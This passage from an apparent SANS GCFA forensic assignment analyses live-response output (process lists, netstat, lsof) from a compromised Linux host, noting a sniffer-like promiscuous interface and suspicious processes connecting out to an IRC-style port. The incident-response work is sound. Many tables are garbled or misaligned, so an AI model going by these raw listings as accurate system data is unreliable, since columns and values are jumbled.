<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19373</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19374</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19375</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19376</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0</td>
<td>0.3</td>
<td>5648</td>
<td>minilogd</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0</td>
<td>0.1</td>
<td>1336</td>
<td>/usr/bin/weit</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>0</td>
<td>48</td>
<td>popauth</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>[weit &lt;defunct&gt;]</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The lsmod.txt file was analysed to look at what kernel modules were loaded. A module that required further investigation was nls_iso8859-1.

The netstat-routes.txt file showed no added routes. The ifconfig.txt file did show the eth0 interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the proc-filelist.txt file provided little benefit. The command used was a directory listing using ls –al of the /proc filesystem. The command should have included the command switch for recursive listing of the /proc file system, the correct command is ‘ls –alR’. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the *.txt files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

<table>
<thead>
<tr>
<th>nfsd</th>
<th>XXX.XXX.2.23</th>
<th>6660</th>
<th>.x</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>weit</td>
<td>minilogd</td>
<td></td>
</tr>
<tr>
<td>.s</td>
<td>sshd_config</td>
<td>nls_iso8859-1</td>
<td></td>
</tr>
<tr>
<td>soundcore</td>
<td>6667</td>
<td>services</td>
<td></td>
</tr>
</tbody>
</table>

The date of interest is June 29, 2003 and paths to investigate from live response output are:

```
/tmp/.s
```
/x
/usr/bin
/usr/sbin
/sbin
**Live response File listings**

**starttime.txt**

Mon Jun 30 17:18:51 CST 2003

**w.txt**

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01

<table>
<thead>
<tr>
<th>USER</th>
<th>TTY FROM</th>
<th>LOGIN@</th>
<th>IDLE</th>
<th>JCPU</th>
<th>PCPU</th>
<th>WHAT</th>
</tr>
</thead>
<tbody>
<tr>
<td>user1</td>
<td>pts/0</td>
<td>23Jun03</td>
<td>7days</td>
<td>0.00s</td>
<td>7</td>
<td>-</td>
</tr>
<tr>
<td>user1</td>
<td>pts/1</td>
<td>23Jun03</td>
<td>38:58</td>
<td>0.22s</td>
<td>0.00s</td>
<td>ls &lt;default&gt;</td>
</tr>
<tr>
<td>user1</td>
<td>pts/2</td>
<td>Fri 8am</td>
<td>4.00s</td>
<td>0.71s</td>
<td>0.01s</td>
<td>/mnt/cdrom/nc l</td>
</tr>
<tr>
<td>user1</td>
<td>pts/3</td>
<td>4:44pm</td>
<td>38:14</td>
<td>0.15s</td>
<td>0.07s</td>
<td>-bash</td>
</tr>
</tbody>
</table>

**netsat-sockets.txt**

Active Internet connections (servers and established)

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
<th>PID/Program name</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1024</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>657/rpc.statd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:199</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8154/snmpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:80</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8125/httpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:6000</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1066/X</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:18</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>19811/nfsd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>127.0.0:25</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>916/sendmail: accept</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:443</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8125/httpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:419</td>
<td>192.168.1.120:1111</td>
<td>ESTABLISHED</td>
<td>29208/ncl</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:4148</td>
<td>XXX.XXX.2.23:6660</td>
<td>SYN_SENT</td>
<td>19941/services</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:4147</td>
<td>XXX.XXX.2.23:6660</td>
<td>SYN_SENT</td>
<td>19936/services</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1024</td>
<td>0.0.0.0:*</td>
<td>657/rpc.statd</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1031</td>
<td>0.0.0.0:*</td>
<td>19936/services</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:161</td>
<td>0.0.0.0:*</td>
<td>8154/snmpd</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:3049</td>
<td>0.0.0.0:*</td>
<td>19685/popauth</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:123</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>790/ntpd</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>127.0.0.1:123</td>
<td>0.0.0.0:*</td>
<td>790/ntpd</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:123</td>
<td>0.0.0.0:*</td>
<td>790/ntpd</td>
<td></td>
</tr>
<tr>
<td>raw</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:6</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>7</td>
</tr>
</tbody>
</table>

Active UNIX domain sockets (servers and established)

<table>
<thead>
<tr>
<th>Proto</th>
<th>RefCnt</th>
<th>Flags</th>
<th>Type</th>
<th>State</th>
<th>I-Node</th>
<th>PID/Program name</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>16389</td>
<td>935/gpm</td>
<td>/dev/gpmctl1</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>551280</td>
<td>19635/minilogd</td>
<td>/dev/log</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1704</td>
<td>1005/xfs</td>
<td>/tmp/.font</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2256</td>
<td>1192/artsd</td>
<td>/tmp/mcp-userid1/rhl-04a8-3ef74460</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1789</td>
<td>1066/X</td>
<td>/tmp/X11-unix/X0</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2158</td>
<td>1178/kdeinit: dcops</td>
<td>/tmp/ICE-dcop/1178-1055392280</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2285</td>
<td>1210/kdeinit: ksme</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2151</td>
<td>1175/kdeinit: Runn</td>
<td>/tmp/ksocket-kdeinit:0</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2182</td>
<td>1181/kdeinit: klaun</td>
<td>/tmp/ksocket-kdeinit:0-klaun</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>280021</td>
<td>6135/kdesud</td>
<td>/tmp/ksocket-kdeinit:0-klaun</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715235</td>
<td>1178/kdeinit: dcops</td>
<td>/tmp/ICE-unix/1210-1055392280</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715234</td>
<td>29110/cdrom</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715231</td>
<td>1210/kdeinit: ksme</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715230</td>
<td>29110/cdrom</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715226</td>
<td>1066/X</td>
<td>/tmp/X11-unix/X0</td>
</tr>
<tr>
<td>COMMAND</td>
<td>PID</td>
<td>USER</td>
<td>FD</td>
<td>TYPE</td>
<td>DEVICE</td>
<td>SIZE</td>
<td>NODE NAME</td>
</tr>
<tr>
<td>---------</td>
<td>-----</td>
<td>------</td>
<td>----</td>
<td>------</td>
<td>--------</td>
<td>------</td>
<td>-----------</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>26920</td>
<td>/sbin/init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kapmd</td>
<td>3</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kapmd</td>
<td>3</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
</tr>
</tbody>
</table>

**lsof.txt**
kupdated 7 root cwd DIR 3,5 1024 2 /
kupdated 7 root rtd DIR 3,5 1024 2 /
mrecover 8 root cwd DIR 3,5 1024 2 /
mrecover 8 root rtd DIR 3,5 1024 2 /
mrecover 8 root 10u FIFO 3,5 15606 /dev/initctl
kjournal 12 root cwd DIR 3,5 1024 2 /
kjournal 12 root rtd DIR 3,5 1024 2 /
kjournal 12 root 10u FIFO 3,5 15606 /dev/initctl
khubd 91 root cwd DIR 3,5 1024 2 /
khubd 91 root rtd DIR 3,5 1024 2 /
khubd 91 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 186 root cwd DIR 3,5 1024 2 /
kjournald 186 root rtd DIR 3,5 1024 2 /
kjournald 186 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 186 root txt REG 3,5 28040 71832 /sbin/rpc.statd
rpc.statd 657 root cwd DIR 3,6 1024 20084 /var/lib/nfs/statd
rpc.statd 657 root rtd DIR 3,5 1024 2 /
rpc.statd 657 root txt REG 3,5 16088 130672 /usr/sbin/rpc.statd
apmd 770 root cwd DIR 3,5 1024 2 /
apmd 770 root rtd DIR 3,5 1024 2 /
apmd 770 root txt REG 3,5 250824 13072 /sbin/apmd
ntpd 790 root cwd DIR 3,5 1024 2 /
tptpd 790 root rtd DIR 3,5 1024 2 /
tptpd 790 root txt REG 3,5 250824 130727 /sbin/ntptpd
sshd 842 root cwd DIR 3,5 1024 2 /
sshd 842 root rtd DIR 3,5 1024 2 /
sshd 842 root txt REG 3,5 260616 131777 /usr/sbin/sshd
sshd 842 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
sshd 842 root mem REG 3,5 137335 63574 /lib/libcap.so.1.10
sshd 842 root mem REG 3,5 1401027 73730 /lib/libcrypto.so.0.9.6b
sshd 842 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
sshd 842 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Access</th>
<th>PID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sshd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>842</td>
<td>/lib/i686/libc.so.2.2.5</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>842</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>842</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sshd</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>842</td>
<td>/dev/null</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>875</td>
<td>1024</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>875</td>
<td>1024</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>875</td>
<td>1508</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>875</td>
<td>1508</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>875</td>
<td>/dev/null</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>1r</td>
<td>CHR</td>
<td>875</td>
<td>/dev/null</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>2r</td>
<td>CHR</td>
<td>875</td>
<td>/dev/null</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>3r</td>
<td>FIFO</td>
<td>875</td>
<td>1546</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>4w</td>
<td>FIFO</td>
<td>875</td>
<td>1546</td>
</tr>
<tr>
<td>xinetd</td>
<td>root</td>
<td>8u</td>
<td>unix</td>
<td>875</td>
<td>1209892</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>916</td>
<td>1024</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>916</td>
<td>1024</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>916</td>
<td>136057</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>916</td>
<td>136057</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>916</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>916</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>916</td>
<td>/dev/null</td>
</tr>
<tr>
<td>sendmail</td>
<td>root</td>
<td>3u</td>
<td>unix</td>
<td>916</td>
<td>130624</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>935</td>
<td>1024</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>935</td>
<td>1024</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>935</td>
<td>130636</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>935</td>
<td>130636</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>0w</td>
<td>CHR</td>
<td>935</td>
<td>/dev/null</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>1u</td>
<td>REG</td>
<td>935</td>
<td>38175</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>2u</td>
<td>unix</td>
<td>935</td>
<td>devnull</td>
</tr>
<tr>
<td>gpm</td>
<td>root</td>
<td>3u</td>
<td>unix</td>
<td>935</td>
<td>130624</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>953</td>
<td>1024</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>953</td>
<td>1024</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>953</td>
<td>130636</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>953</td>
<td>130636</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>0w</td>
<td>CHR</td>
<td>953</td>
<td>/dev/null</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>1u</td>
<td>REG</td>
<td>953</td>
<td>/dev/null</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>2u</td>
<td>unix</td>
<td>953</td>
<td>130636</td>
</tr>
<tr>
<td>cron</td>
<td>root</td>
<td>3u</td>
<td>unix</td>
<td>953</td>
<td>130636</td>
</tr>
</tbody>
</table>

**Key fingerprint:** AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Kevin Miller - Sans GCFA Assignment –v1.4  Page 111

crond  953  root  1w  FIFO  0.5  1657  pipe

crond  953  root  2w  FIFO  0.5  1658  pipe

crond  953  root  3u  REG  3.6  4  38176 /var/run/crond.pid

crond  953  root  4u  unix  0xc6b8b0c0  1661  socket

xfs  1005  root  cwd  DIR  3.5  1024  2 /
xfs  1005  root  rtd  DIR  3.5  1024  2 /
xfs  1005  root  txt  REG  3.5  46117  63531 /lib/libnss_files-2.2.5.so

xfs  1005  root  mem  REG  3.5  89424  63507 /lib/libnss_nisplus-2.2.5.so

xfs  1005  root  0r  DIR  3.5  2 /
xfs  1005  root  1r  DIR  3.5  2 /
xfs  1005  root  2r  DIR  3.5  2 /
xfs  1005  root  3u  REG  3.6  6  38177 /var/run/xfs.pid

xfs  1005  root  4u  unix  0xc6b8b5c0  1704 /tmp/.font-unix/fs7100

xfs  1005  root  5u  unix  0xc7817080  1714  socket

atd  1041  root  cwd  DIR  3.6  1024  56225 /var/spool/at

atd  1041  root  rtd  DIR  3.5  1024  2 /
atd  1041  root  txt  REG  3.2  14776  130516 /usr/sbin/atd

atd  1041  root  mem  REG  3.5  89547  63490 /lib/ld-2.2.5.so

atd  1041  root  mem  REG  3.5  45415  63523 /lib/libnss_files-2.2.5.so

atd  1041  root  mem  REG  3.5  1401027  73730 /lib/i686/libc-2.2.5.so

atd  1041  root  0u  CHR  1.3  9637 /dev/null

atd  1041  root  1u  CHR  1.3  9637 /dev/null

atd  1041  root  2u  CHR  1.3  9637 /dev/null

atd  1041  root  3u  REG  3.6  6  38177 /var/run/atd.pid

atd  1041  root  4u  unix  0xc49a20c0  1801 /tmp/.font-unix/fs7100

mingetty  1050  root  cwd  DIR  3.5  1024  2 /

mingetty  1050  root  rtd  DIR  3.5  1024  2 /

mingetty  1050  root  txt  REG  3.5  14136  71701 /sbin/mingetty

mingetty  1050  root  mem  REG  3.5  89547  63490 /lib/ld-2.2.5.so

mingetty  1050  root  mem  REG  3.5  1401027  73730 /lib/i686/libc-2.2.5.so

mingetty  1050  root  0u  CHR  4.1  14414 /dev/tty1

mingetty  1050  root  1u  CHR  4.1  14414 /dev/tty1

mingetty  1050  root  2u  CHR  4.1  14414 /dev/tty1

mingetty  1051  root  cwd  DIR  3.5  1024  2 /

mingetty  1051  root  rtd  DIR  3.5  1024  2 /

mingetty  1051  root  txt  REG  3.5  14136  71701 /sbin/mingetty

mingetty  1051  root  mem  REG  3.5  89547  63490 /lib/ld-2.2.5.so

mingetty  1051  root  mem  REG  3.5  1401027  73730 /lib/i686/libc-2.2.5.so

mingetty  1051  root  0u  CHR  4.2  14425 /dev/tty2

mingetty  1051  root  1u  CHR  4.2  14425 /dev/tty2

mingetty  1051  root  2u  CHR  4.2  14425 /dev/tty2

mingetty  1052  root  cwd  DIR  3.5  1024  2 /

mingetty  1052  root  rtd  DIR  3.5  1024  2 /

mingetty  1052  root  txt  REG  3.5  14136  71701 /sbin/mingetty

mingetty  1052  root  mem  REG  3.5  89547  63490 /lib/ld-2.2.5.so

mingetty  1052  root  mem  REG  3.5  1401027  73730 /lib/i686/libc-2.2.5.so

mingetty  1052  root  0u  CHR  4.3  14436 /dev/tty3

mingetty  1052  root  1u  CHR  4.3  14436 /dev/tty3

mingetty  1052  root  2u  CHR  4.3  14436 /dev/tty3

mingetty  1053  root  cwd  DIR  3.5  1024  2 /

mingetty  1053  root  rtd  DIR  3.5  1024  2 /

mingetty  1053  root  txt  REG  3.5  14136  71701 /sbin/mingetty

mingetty  1053  root  mem  REG  3.5  89547  63490 /lib/ld-2.2.5.so

mingetty  1053  root  mem  REG  3.5  1401027  73730 /lib/i686/libc-2.2.5.so

mingetty  1053  root  0u  CHR  4.4  14439 /dev/tty4

mingetty  1053  root  1u  CHR  4.4  14439 /dev/tty4

mingetty  1053  root  2u  CHR  4.4  14439 /dev/tty4

mingetty  1054  root  cwd  DIR  3.5  1024  2 /

mingetty  1054  root  rtd  DIR  3.5  1024  2 /

mingetty  1054  root  txt  REG  3.5  14136  71701 /sbin/mingetty

mingetty  1054  root  mem  REG  3.5  89547  63490 /lib/ld-2.2.5.so

mingetty  1054  root  mem  REG  3.5  1401027  73730 /lib/i686/libc-2.2.5.so

mingetty  1054  root  0u  CHR  4.5  14440 /dev/tty5

mingetty  1054  root  1u  CHR  4.5  14440 /dev/tty5

mingetty  1054  root  2u  CHR  4.5  14440 /dev/tty5

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
mingetty 1054 root 2u CHR 4,5 14440 /dev/tty5
mingetty 1055 root cwd DIR 3,5 1024 2 /
mingetty 1055 root rtd DIR 3,5 1024 2 /
mingetty 1055 root txt REG 3,5 89547 63490 /lib/id-2.2.5.so
mingetty 1055 root mem REG 3,5 1410427 73730 /lib/i686/libc-2.2.5.so
mingetty 1055 root 0u CHR 4,6 14441 /dev/tty6
mingetty 1055 root 1u CHR 4,6 14441 /dev/tty6
mingetty 1055 root 2u CHR 4,6 14441 /dev/tty6
kdm 1056 root cwd DIR 3,5 1024 2 /
kdm 1056 root rtd DIR 3,5 1024 2 /
kdm 1056 root txt REG 3,2 83400 33562 /usr/bin/kdm
kdm 1056 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdm 1056 root mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2
kdm 1056 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdm 1056 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
kdm 1056 root mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75
kdm 1056 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdm 1056 root 0r CHR 1,3 9637 /dev/null
kdm 1056 root 1w CHR 1,3 9637 /dev/null
kdm 1056 root 2w CHR 1,3 9637 /dev/null
kdm 1056 root 3u REG 3,6 5 38179 /var/run/kdm.pid
kdm 1056 root 6u FIFO 3,6 32135 /var/run/xdmctl/xdmctl
kdm 1056 root 7r FIFO 0,5 1792 pipe
kdm 1056 root 8w FIFO 0,5 1792 pipe
kdm 1056 root 9u FIFO 3,6 32136 /var/run/xdmctl/xdmctl:0
X 1066 root cwd DIR 3,5 1024 2 /
X 1066 root rtd DIR 3,5 1024 2 /
X 1066 root txt REG 3,2 1602576 115035 /usr/X11R6/bin/XFree86
X 1066 root mem CHR 1,1 8215 /dev/mem
X 1066 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
X 1066 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
X 1066 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
X 1066 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
X 1066 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
X 1066 root mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75
X 1066 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
X 1066 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
X 1066 root 0w REG 3,6 29736 12068 /var/log/XFree86.0.log
X 1066 root 1u IPv4 1788 TCP:*:x11 (LISTEN)
X 1066 root 2w CHR 1,3 9637 /dev/null
X 1066 root 3u unix Oxc7817580 1789 /tmp/X11-unix/X0
X 1066 root 4u CHR 4,7 14442 /dev/tty7
X 1066 root 5u CHR 10,134 8236 /dev/apm_bios
X 1066 root 6w REG 0,2 66 4135 /proc/mtrr
X 1066 root 7u CHR 10,1 9755 /dev/psaux
X 1066 root 8u unix Oxc5fd8ea0 1800 socket
X 1066 root 9u unix Oxc5fd8e90 1803 /tmp/X11-unix/X0
X 1066 root 10u unix Oxc2d3e5e0 2481 /tmp/X11-unix/X0
X 1066 root 11u unix Oxc2d420c0 2204 /tmp/X11-unix/X0
X 1066 root 12u unix Oxc2f62080 2209 /tmp/X11-unix/X0
X 1066 root 13u unix Oxc2c57a60 2253 /tmp/X11-unix/X0
X 1066 root 14u unix Oxc2f99040 2276 /tmp/X11-unix/X0
X 1066 root 15u unix Oxc5fbfa40 337047 /tmp/X11-unix/X0
X 1066 root 16u unix Oxc2f3efa0 2290 /tmp/X11-unix/X0
X 1066 root 17u unix Oxc4f8f5e0 280009 /tmp/X11-unix/X0
X 1066 root 18u unix Oxc8f990e0 2439 /tmp/X11-unix/X0
X 1066 root 19u unix Oxc1f3eae0 2340 /tmp/X11-unix/X0
X 1066 root 20u unix Oxc1f5ca80 2357 /tmp/X11-unix/X0
X 1066 root 21u unix Oxc1f6f5a0 2397 /tmp/X11-unix/X0
X 1066 root 22u unix Oxc8c375c0 2404 /tmp/X11-unix/X0
X 1066 root 23u unix Oxc8ba06a0 2431 /tmp/X11-unix/X0
X 1066 root 24u unix Oxc1aff560 714318 /tmp/X11-unix/X0
X 1066 root 25u unix Oxc0ab1060 715226 /tmp/X11-unix/X0
